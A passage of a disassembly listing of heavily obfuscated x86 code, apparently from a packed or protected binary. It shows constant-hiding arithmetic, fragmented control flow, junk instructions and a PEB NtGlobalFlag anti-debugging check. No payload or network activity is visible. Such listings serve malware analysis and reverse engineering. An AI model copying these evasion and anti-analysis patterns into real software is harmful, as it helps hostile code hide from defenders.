loc_40EA75:				; CODE XREF: sub_40926F:loc_40F3AAj
					; sub_40601E+AABBj
		or	edx, 46B8DBF3h
		jnz	loc_407A6A
		mov	[esi], ebx
		jmp	loc_407A69
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
		mov	ebp, [ecx]
		jmp	sub_40F471
; ---------------------------------------------------------------------------


loc_40EA8F:				; DATA XREF: sub_40CD07-72D7o
		add	eax, 0EC1552CCh
		add	eax, ebp
		push	offset loc_40BE52
		jmp	locret_40FA56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408769


loc_40EAA1:				; CODE XREF: sub_408769+876Dj
		mov	esp, ebp
		pop	ebp
		push	15BEC8FCh
		pop	eax
		xor	eax, 5EF5C68Bh
		jmp	loc_40F362
; END OF FUNCTION CHUNK	FOR sub_408769
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_40EAB5:				; CODE XREF: sub_40C162:loc_409ACEj
					; sub_40C162+32j
		jmp	loc_40B130
; ---------------------------------------------------------------------------


loc_40EABA:				; CODE XREF: sub_40C162-4728j
		jns	loc_40A87F
		push	0F742B747h
		pop	eax
		add	eax, 4FF4701h
		add	eax, ebp
		jmp	loc_40DEAF
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40EAD3:				; CODE XREF: sub_40833D-2824j
					; sub_407AD3+48A8j ...
		jb	loc_40622B
		cmp	dword ptr [ebp-4], 2
		jnz	loc_40503B
		jmp	loc_407BEB
; END OF FUNCTION CHUNK	FOR sub_40833D

; =============== S U B	R O U T	I N E =======================================



sub_40EAE8	proc near		; CODE XREF: sub_40CA1B-4D43j
					; sub_40CA1B:loc_4108D5j

; FUNCTION CHUNK AT 0040E378 SIZE 00000005 BYTES

		push	ebp
		push	esi
		push	offset loc_408042
		jmp	loc_40E378
sub_40EAE8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C17


loc_40EAF4:				; CODE XREF: sub_405C17:loc_406AD7j
		jz	loc_40E4AB
		jmp	loc_40C67F
; END OF FUNCTION CHUNK	FOR sub_405C17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E739


loc_40EAFF:				; CODE XREF: sub_40E739-9394j
		sub	esi, 0EB675625h
		jmp	loc_4060A6
; END OF FUNCTION CHUNK	FOR sub_40E739
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40EB0A:				; CODE XREF: sub_40892F:loc_40F290j
		mov	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-8]
		jmp	loc_406C6D
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
		add	ebx, eax
		jmp	sub_40A799
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409C00


loc_40EB20:				; CODE XREF: sub_409C00+1j
		push	ecx
		call	sub_40F31D
		mov	esp, [esp+4+arg_0]


loc_40EB2A:				; CODE XREF: sub_4069F5+6j
					; _837l4vi2:00407251j ...
		xor	eax, eax


loc_40EB2C:				; CODE XREF: sub_4069F5+1385j
		pop	large dword ptr	fs:0
		jmp	loc_409E33
; END OF FUNCTION CHUNK	FOR sub_409C00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40EB38:				; CODE XREF: sub_40C1F0:loc_40B446j
		test	eax, 2
		jz	loc_40990B
		mov	eax, 63h
		call	sub_40D92B
		jmp	loc_410C76
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------
		jmp	loc_40ABB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40EB57:				; CODE XREF: sub_4053DD+6E07j
		call	sub_40BF48
		test	al, al
		jmp	loc_40FFCF
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D306


loc_40EB63:				; CODE XREF: sub_40D306:loc_40D464j
		pop	eax
		pop	ebp
		jmp	loc_4081C0
; END OF FUNCTION CHUNK	FOR sub_40D306
; ---------------------------------------------------------------------------


loc_40EB6A:				; CODE XREF: _837l4vi2:loc_40A4D8j
		or	ecx, edx
		sub	eax, 53C3B5E9h
		adc	ecx, 6D8A9FFDh
		rol	ebx, 14h
		jmp	loc_40E987
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40EB80:				; CODE XREF: sub_40966E:loc_408240j
		mov	eax, [ebp+8]
		call	sub_410A02


loc_40EB88:				; CODE XREF: sub_40892F+6F69j
		jmp	nullsub_96
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3B0


loc_40EB8D:				; CODE XREF: sub_40B3B0+12j
		jmp	loc_40C339
; END OF FUNCTION CHUNK	FOR sub_40B3B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B088


loc_40EB92:				; CODE XREF: sub_40B088+1j
		jmp	loc_40B832
; END OF FUNCTION CHUNK	FOR sub_40B088

; =============== S U B	R O U T	I N E =======================================



sub_40EB97	proc near		; CODE XREF: _837l4vi2:0040972Dj
					; _837l4vi2:0040AA0Ep

; FUNCTION CHUNK AT 0040D5B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004109E1 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_40B088
		mov	edx, 0F75CA70h
		call	sub_40E739
		jmp	loc_40D5B3
sub_40EB97	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40EBAF:				; DATA XREF: _837l4vi2:00407E00o
		push	ecx
		mov	ecx, [esp+10h]
		call	sub_40FE28


loc_40EBB9:				; CODE XREF: _837l4vi2:00408ACAj
		jl	loc_40B65E

; =============== S U B	R O U T	I N E =======================================



sub_40EBBF	proc near		; CODE XREF: sub_40D735:loc_40E864p

; FUNCTION CHUNK AT 0040981A SIZE 00000011 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	82427501h
		pop	eax
		jmp	loc_40981A
sub_40EBBF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40EBCE:				; CODE XREF: sub_40966E-3C81j
		not	edi
		jle	loc_4104BF
		jnp	loc_408360
		add	eax, 0A499B382h


loc_40EBE2:				; CODE XREF: sub_40966E:loc_40AE4Bj
		mov	eax, [ebp-4]
		jmp	loc_40E845
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------


loc_40EBEA:				; DATA XREF: sub_4093B0+Do
		push	ecx
		push	3F1CB6BBh
		pop	ecx
		rol	ecx, 7
		add	ecx, 71E56AEFh
		xchg	ecx, [esp]
		jmp	loc_40E9D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40EC02:				; CODE XREF: sub_407FEA+8AC3j
		jnp	loc_407BE0
		shl	ebp, 7
		shr	ebx, 0Ah
		jmp	loc_40B293
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40EC13:				; CODE XREF: sub_405950:loc_40AA13j
		jz	loc_40E8CC
		jmp	loc_40F921
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_40EC1E:				; CODE XREF: sub_407AA4:loc_40D037j
		rol	eax, 0Dh
		mov	ds:dword_41003C, eax
		jmp	loc_407C5B
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD8A


loc_40EC2C:				; CODE XREF: sub_40CD8A:loc_4100C8j
		push	9D549A2Ah
		mov	[esp+14h+var_14], ebp
		mov	ebp, esp
		jmp	loc_40EA23
; END OF FUNCTION CHUNK	FOR sub_40CD8A

; =============== S U B	R O U T	I N E =======================================



sub_40EC3B	proc near		; CODE XREF: sub_40C255:loc_406D2Ap
					; _837l4vi2:0040A412j

; FUNCTION CHUNK AT 0040E0C3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040F129 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, [ebp-14h]


loc_40EC42:				; CODE XREF: sub_40966E+51DCj
		xor	edx, edx
		call	sub_40E13A
		call	sub_409218
		call	nullsub_5


loc_40EC53:				; CODE XREF: sub_40B088+7C6j
					; sub_40C255+14j
		mov	eax, ds:dword_406B78
		jmp	loc_40F129
sub_40EC3B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_40EC5D:				; CODE XREF: sub_406C7D+6A7Dj
		ja	loc_405C1F
		jmp	loc_408AD5
; END OF FUNCTION CHUNK	FOR sub_406C7D
; ---------------------------------------------------------------------------
		sub	ebx, 53FA17E1h
		rol	ebx, 10h
		jmp	sub_408186
; ---------------------------------------------------------------------------


loc_40EC76:				; CODE XREF: _837l4vi2:004101BAj
		test	edi, 100h
		jmp	loc_408E58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_40EC81:				; CODE XREF: sub_40BF48j
		mov	eax, ds:dword_4109D0
		or	eax, eax
		jnz	loc_405674
		jmp	loc_40763B
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40EC94:				; CODE XREF: sub_40B67D:loc_40F9E8j
		mov	edx, ecx
		pop	ecx
		xor	edx, 0EA6D6302h
		add	edx, ebp
		add	edx, 0D40C226h
		jmp	loc_40DAA0
; END OF FUNCTION CHUNK	FOR sub_40B67D

; =============== S U B	R O U T	I N E =======================================



sub_40ECAA	proc near		; DATA XREF: _837l4vi2:0040E627o

; FUNCTION CHUNK AT 0040B135 SIZE 00000005 BYTES

		push	72313EEBh
		pop	edx
		add	edx, 8E0F8862h
		push	offset loc_406A2E
		jmp	loc_40B135
sub_40ECAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ECC0	proc near		; CODE XREF: _837l4vi2:0040EEA9j
					; sub_40CD8A+3344p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405297 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D093 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00410148 SIZE 00000013 BYTES

		mov	[esp+0], edx
		pop	edx
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_405297
sub_40ECC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40ECCD:				; CODE XREF: sub_409D6B+1AC2j
		mov	eax, edi
		jo	loc_40DBCF


loc_40ECD5:				; CODE XREF: sub_40AA44:loc_40FDFBj
		mov	eax, 62h
		call	sub_40D92B
		jmp	loc_4084D4
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
		jmp	loc_40616B
; ---------------------------------------------------------------------------


loc_40ECE9:				; DATA XREF: sub_40A8ED+3482o
		add	ebx, edx
		not	edx
		xchg	ebx, [esp]
		mov	ecx, ebx
		jmp	loc_40F24F

; =============== S U B	R O U T	I N E =======================================



sub_40ECF7	proc near		; CODE XREF: sub_40DECF+Ap
		mov	[esp+0], ecx
		mov	esp, ebp
		mov	ebp, offset loc_40ED0F
		xchg	ebp, [esp+0]
		retn
sub_40ECF7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4089C5


loc_40ED05:				; CODE XREF: sub_4089C5+8527j
		jmp	loc_405B37
; END OF FUNCTION CHUNK	FOR sub_4089C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C805


loc_40ED0A:				; CODE XREF: sub_40C805+4668j
		jmp	loc_407563
; END OF FUNCTION CHUNK	FOR sub_40C805
; ---------------------------------------------------------------------------


loc_40ED0F:				; DATA XREF: sub_40ECF7+5o
		mov	eax, ds:dword_41002C
		or	eax, eax
		jmp	loc_410020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410D95


loc_40ED1C:				; CODE XREF: sub_410D95:loc_409FD2j
		jnz	loc_40B749
		jmp	loc_40F83A
; END OF FUNCTION CHUNK	FOR sub_410D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40984E


loc_40ED27:				; CODE XREF: sub_40984E+4j
		push	edx
		call	sub_409E44


loc_40ED2D:				; CODE XREF: sub_40833D+167Fj
		jmp	nullsub_99
; END OF FUNCTION CHUNK	FOR sub_40984E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40ED32:				; CODE XREF: sub_40966E:loc_40830Cj
					; _837l4vi2:loc_40A92Fj
		jnz	loc_408240
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_408240
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406BF8


loc_40ED44:				; CODE XREF: sub_406BF8+18j
					; sub_406BF8+1360j
		cmp	dword ptr [ebp-1Ch], 67h
		jnz	loc_40CE00
		mov	eax, 6
		jmp	loc_406C68
; END OF FUNCTION CHUNK	FOR sub_406BF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8ED


loc_40ED58:				; CODE XREF: sub_40A8ED:loc_40CB58j
		mov	ebp, esp
		push	ecx
		push	esi
		push	0D652500Ah
		pop	esi
		call	sub_406178


loc_40ED67:				; CODE XREF: sub_4059CF+B08Cj
		jmp	loc_40DD6A
; END OF FUNCTION CHUNK	FOR sub_40A8ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E294


loc_40ED6C:				; CODE XREF: sub_40E294+12j
		jmp	loc_40539F
; END OF FUNCTION CHUNK	FOR sub_40E294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CE96


loc_40ED71:				; CODE XREF: sub_40CE96+14j
		jmp	loc_40B08E
; END OF FUNCTION CHUNK	FOR sub_40CE96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40ED76:				; CODE XREF: sub_407FEA+47F8j
		jmp	nullsub_101
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------


loc_40ED7B:				; CODE XREF: _837l4vi2:00409556j
		jmp	loc_4084F3
; ---------------------------------------------------------------------------

locret_40ED80:				; CODE XREF: _837l4vi2:loc_406B7Cj
		retn
; ---------------------------------------------------------------------------


loc_40ED81:				; DATA XREF: sub_409748:loc_40D2EEo
		push	edx
		or	ebx, edx
		push	edx
		push	0F6039453h
		pop	edx
		or	edx, 2A27E433h
		xor	edx, 0EEB9F03h
		jmp	loc_410C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40ED9C:				; CODE XREF: sub_405950:loc_4050D6j
					; sub_405950+2BD2j
		cmp	ebx, 69727943h
		jnz	loc_40ACAC
		jmp	loc_40AA13
; END OF FUNCTION CHUNK	FOR sub_405950
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_411085


loc_40EDAE:				; CODE XREF: sub_411085+Dj
		jmp	nullsub_207
; END OF FUNCTION CHUNK	FOR sub_411085

; =============== S U B	R O U T	I N E =======================================



sub_40EDB3	proc near		; CODE XREF: sub_4078C8+577Dj
					; sub_40D0D2p

; FUNCTION CHUNK AT 0040DF14 SIZE 00000005 BYTES

		push	offset sub_4050A8
		jmp	loc_40DF14
sub_40EDB3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40EDBD:				; CODE XREF: sub_40833D:loc_4071B1j
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_409F1E
		jmp	loc_40A144
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
		xor	ebp, 5A0435CCh
		jmp	sub_40B859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40EDD9:				; CODE XREF: sub_4065B8:loc_41058Fj
		cmp	esi, edx
		jmp	loc_407191
; END OF FUNCTION CHUNK	FOR sub_4065B8

; =============== S U B	R O U T	I N E =======================================



sub_40EDE0	proc near		; DATA XREF: sub_40C1F0+D77o
		call	sub_40D92B
		jmp	loc_40D3AF
sub_40EDE0	endp

; ---------------------------------------------------------------------------
		jmp	loc_4066D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40EDEF:				; CODE XREF: sub_40C1F0:loc_405061j
					; sub_40AA44:loc_410FF9j
		mov	eax, large fs:30h
		mov	eax, [eax+68h]
		push	esi
		push	4D490C9h
		pop	esi
		jmp	loc_4080B6
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------


loc_40EE05:				; CODE XREF: _837l4vi2:0040F6DCj
		jnz	loc_40AA61
		jmp	loc_408034
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40EE11:				; CODE XREF: _837l4vi2:loc_40F58Bj
		push	offset sub_4059E2
		jmp	loc_40E513
; ---------------------------------------------------------------------------


loc_40EE1B:				; CODE XREF: _837l4vi2:0040C6C4j
		shr	edx, 19h

; =============== S U B	R O U T	I N E =======================================



sub_40EE1E	proc near		; CODE XREF: sub_406834:loc_4081E1p

; FUNCTION CHUNK AT 00408B64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B342 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00410127 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jnz	loc_405146
		jmp	loc_410127
sub_40EE1E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EE2D	proc near		; DATA XREF: sub_40CC6E-4425o
		rol	edx, 5
		xor	edx, esi
		rol	edx, 5
		push	offset loc_4082BB
		jmp	nullsub_106
sub_40EE2D	endp

; ---------------------------------------------------------------------------
		adc	ebx, eax
		jmp	sub_408F4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF3C


loc_40EE46:				; CODE XREF: sub_40CF3C+15A8j
		cmp	ecx, ebp
		jmp	loc_40E5E1
; END OF FUNCTION CHUNK	FOR sub_40CF3C
; ---------------------------------------------------------------------------


loc_40EE4D:				; CODE XREF: _837l4vi2:0040968Fj
		sub	edx, 7803BB68h

; =============== S U B	R O U T	I N E =======================================



sub_40EE53	proc near		; CODE XREF: sub_407FEA+6FABp
		xchg	ecx, [esp+0]
		pop	ecx
		cmp	dword ptr [eax], 0
		call	sub_40C7CD


loc_40EE5F:				; CODE XREF: sub_40600B+4111j
		jmp	nullsub_107
sub_40EE53	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	edi, 0F18F74C3h
		jmp	loc_4084B3
; ---------------------------------------------------------------------------
		db 81h
		dd 0F832DBEFh, 5A8A0FEBh, 0E9FFFFF3h, 13DBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40EE80:				; CODE XREF: sub_40833D:loc_40C944j
		mov	eax, [edx]
		jmp	loc_40C87D
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------


loc_40EE87:				; CODE XREF: _837l4vi2:00410FE9j
		jno	loc_40D97D
		adc	edi, ecx
		jmp	sub_40DCDD
; ---------------------------------------------------------------------------

locret_40EE94:				; CODE XREF: _837l4vi2:loc_405088j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40EE95:				; CODE XREF: sub_40892F+8214j
		jmp	loc_40F880
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40855B


loc_40EE9A:				; CODE XREF: sub_40855B+6047j
		jmp	nullsub_200
; END OF FUNCTION CHUNK	FOR sub_40855B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40EE9F:				; CODE XREF: sub_405CBC+64A1j
		jmp	loc_40D482
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
		shl	ecx, 0Dh
		and	ebp, edx
		jmp	sub_40ECC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_40EEAE:				; CODE XREF: sub_407AA4+946Aj
		push	544627AEh
		pop	edx
		or	edx, 0DB94757Eh
		add	edx, 2069EBAAh
		xchg	edx, [esp+0]
		jmp	sub_40B99D
; END OF FUNCTION CHUNK	FOR sub_407AA4

; =============== S U B	R O U T	I N E =======================================



sub_40EEC8	proc near		; DATA XREF: _837l4vi2:00410FC8o

; FUNCTION CHUNK AT 00409E3E SIZE 00000006 BYTES

		call	sub_405702
		xchg	edi, esi
		cmp	esi, eax
		jmp	loc_409E3E
sub_40EEC8	endp

; ---------------------------------------------------------------------------


loc_40EED6:				; CODE XREF: _837l4vi2:00407AB4j
		not	esi

; =============== S U B	R O U T	I N E =======================================



sub_40EED8	proc near		; CODE XREF: _837l4vi2:loc_40C6BDp

; FUNCTION CHUNK AT 0040D918 SIZE 00000013 BYTES

		mov	[esp+0], edx
		pop	edx
		add	eax, edx
		jmp	loc_40D918
sub_40EED8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40EEE3:				; DATA XREF: sub_40B914:loc_40A656o
		cmp	byte ptr [eax],	0
		call	sub_40800E
; START	OF FUNCTION CHUNK FOR sub_40DC3E


loc_40EEEB:				; CODE XREF: sub_40DC3E-2B26j
		mov	[ebp-4], eax
		mov	eax, [ebp-14h]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		jmp	loc_406545
; END OF FUNCTION CHUNK	FOR sub_40DC3E

; =============== S U B	R O U T	I N E =======================================



sub_40EF02	proc near		; DATA XREF: sub_407287:loc_40E5CCo
		mov	eax, [ebp-20h]
		sub	eax, [ebp-28h]
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		mov	esp, ebp


loc_40EF10:				; CODE XREF: _837l4vi2:loc_4071C7j
		pop	ebp
		retn
sub_40EF02	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40EF12:				; CODE XREF: _837l4vi2:0040F176j
		jmp	loc_410D01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5A3


loc_40EF17:				; CODE XREF: sub_40C5A3+93Ej
		jmp	sub_409B39
; END OF FUNCTION CHUNK	FOR sub_40C5A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBB2


loc_40EF1C:				; CODE XREF: sub_40CBB2+Bj
		pop	ebp
		mov	eax, ds:dword_410690
		or	eax, eax
		jnz	loc_4066BC
		jmp	loc_40C633
; END OF FUNCTION CHUNK	FOR sub_40CBB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E294


loc_40EF30:				; CODE XREF: sub_40E294-2CAAj
		mov	ebx, [ebp+0]


loc_40EF33:				; CODE XREF: _837l4vi2:loc_40E320j
		xor	edi, 574857F5h
		adc	edx, ecx
		jmp	loc_406C39
; END OF FUNCTION CHUNK	FOR sub_40E294
; ---------------------------------------------------------------------------


loc_40EF40:				; CODE XREF: _837l4vi2:004058A9j
		add	esp, 0FFFFFFF0h
		push	ecx
		push	416B0EC4h
		jmp	loc_410CA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_40EF4E:				; CODE XREF: sub_4061B1+5CBDj
		jno	loc_408907
		or	edx, ebp


loc_40EF56:				; CODE XREF: sub_4061B1:loc_40DFEAj
		push	esi
		push	0DFD08C99h
		jmp	loc_405C8D
; END OF FUNCTION CHUNK	FOR sub_4061B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_40EF61:				; CODE XREF: sub_408736:loc_40FBFAj
		push	esi
		call	sub_409127


loc_40EF67:				; CODE XREF: sub_408440+11j
		jmp	loc_41077B
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40EF6C:				; CODE XREF: sub_40833D:loc_40566Fj
		jnz	loc_40EAD3
		jmp	loc_40C944
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40EF77:				; CODE XREF: sub_4053DD:loc_40FFCFj
		jz	nullsub_159
		jmp	loc_4078B4
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------


loc_40EF82:				; CODE XREF: _837l4vi2:0040F8C6j
		and	esi, eax
		test	eax, 4D6A9720h
		jmp	loc_40ACA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40EF8F:				; CODE XREF: sub_407FEA:loc_408E46j
		call	sub_40B7A1
		pop	eax
		call	sub_40EE53


loc_40EF9A:				; CODE XREF: sub_40A58E-4D8Dj
		cmp	edi, 4EBDB3Ah
		jmp	loc_40A2B6
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A526


loc_40EFA5:				; CODE XREF: sub_40A526-3B61j
					; sub_40A526-BE2j ...
		jb	loc_409930
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_40E5BE
		jmp	loc_4069C0
; END OF FUNCTION CHUNK	FOR sub_40A526

; =============== S U B	R O U T	I N E =======================================



sub_40EFBF	proc near		; DATA XREF: sub_40B7A1+9o
		mov	esp, ebp


loc_40EFC1:				; CODE XREF: sub_410D95-60C4j
		pop	ebp
		push	offset sub_409F2A
		jmp	nullsub_110
sub_40EFBF	endp

; ---------------------------------------------------------------------------
		sub	ebx, ecx
		jmp	sub_40C5A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_40EFD3:				; CODE XREF: sub_40BF48-6342j
		jns	loc_40F144
		not	eax


loc_40EFDB:				; CODE XREF: sub_40BF48:loc_40FB62j
		push	0
		push	0A145CC46h
		xor	[esp+18h+var_18], 0A145CC46h
		push	edx
		jmp	loc_408655
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------


loc_40EFEF:				; CODE XREF: _837l4vi2:0040D9A5j
		or	eax, eax
		jnz	loc_40D2B3
		jmp	loc_410D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E44


loc_40EFFC:				; CODE XREF: sub_409E44+46A8j
		shr	ebp, 1Ah
		ja	loc_40ACAF
		xor	ecx, 0B445836Bh


loc_40F00B:				; CODE XREF: sub_409E44:loc_407E33j
		mov	eax, [ebp-0Ch]
		mov	ds:dword_4109EC, eax
		jmp	loc_4080A5
; END OF FUNCTION CHUNK	FOR sub_409E44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405FB4


loc_40F018:				; CODE XREF: sub_405FB4:loc_40BDF5j
		rol	ebx, 7
		add	ebx, 3FD534CEh
		xchg	ebx, [esp-8+arg_4]
		jmp	loc_40E04D
; END OF FUNCTION CHUNK	FOR sub_405FB4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40F02B:				; CODE XREF: _837l4vi2:0040F2F4j
		jmp	loc_40E184

; =============== S U B	R O U T	I N E =======================================



sub_40F030	proc near		; CODE XREF: _837l4vi2:00405EBDj
					; sub_4078C8+5BE8p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00407C82 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	edi, 9759BFADh
		xchg	edi, [esp-4+arg_0]
		jmp	loc_407C82
sub_40F030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_40F042:				; CODE XREF: sub_40AE2D-4DDAj
		jl	loc_4074D0
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; START	OF FUNCTION CHUNK FOR sub_40F68F


loc_40F048:				; CODE XREF: sub_40F68F-2F74j
		jmp	loc_410F13
; END OF FUNCTION CHUNK	FOR sub_40F68F
; ---------------------------------------------------------------------------
		or	ebp, ebx
		mov	ebx, [edi]
		sub	edx, eax
		jmp	loc_4074D0

; =============== S U B	R O U T	I N E =======================================



sub_40F058	proc near		; CODE XREF: _837l4vi2:0040BDDFj
					; sub_40D7F5p

; FUNCTION CHUNK AT 00408628 SIZE 0000000A BYTES

		mov	[esp+0], edi
		pop	edi
		push	6B65D26Eh
		mov	[esp+0], ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_408628
sub_40F058	endp

; ---------------------------------------------------------------------------
		mov	[ebx], edi
		test	ebx, 5CB0C07Ah
		jmp	loc_409608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40F07B:				; CODE XREF: sub_409D6B+29A5j
		call	sub_405E21


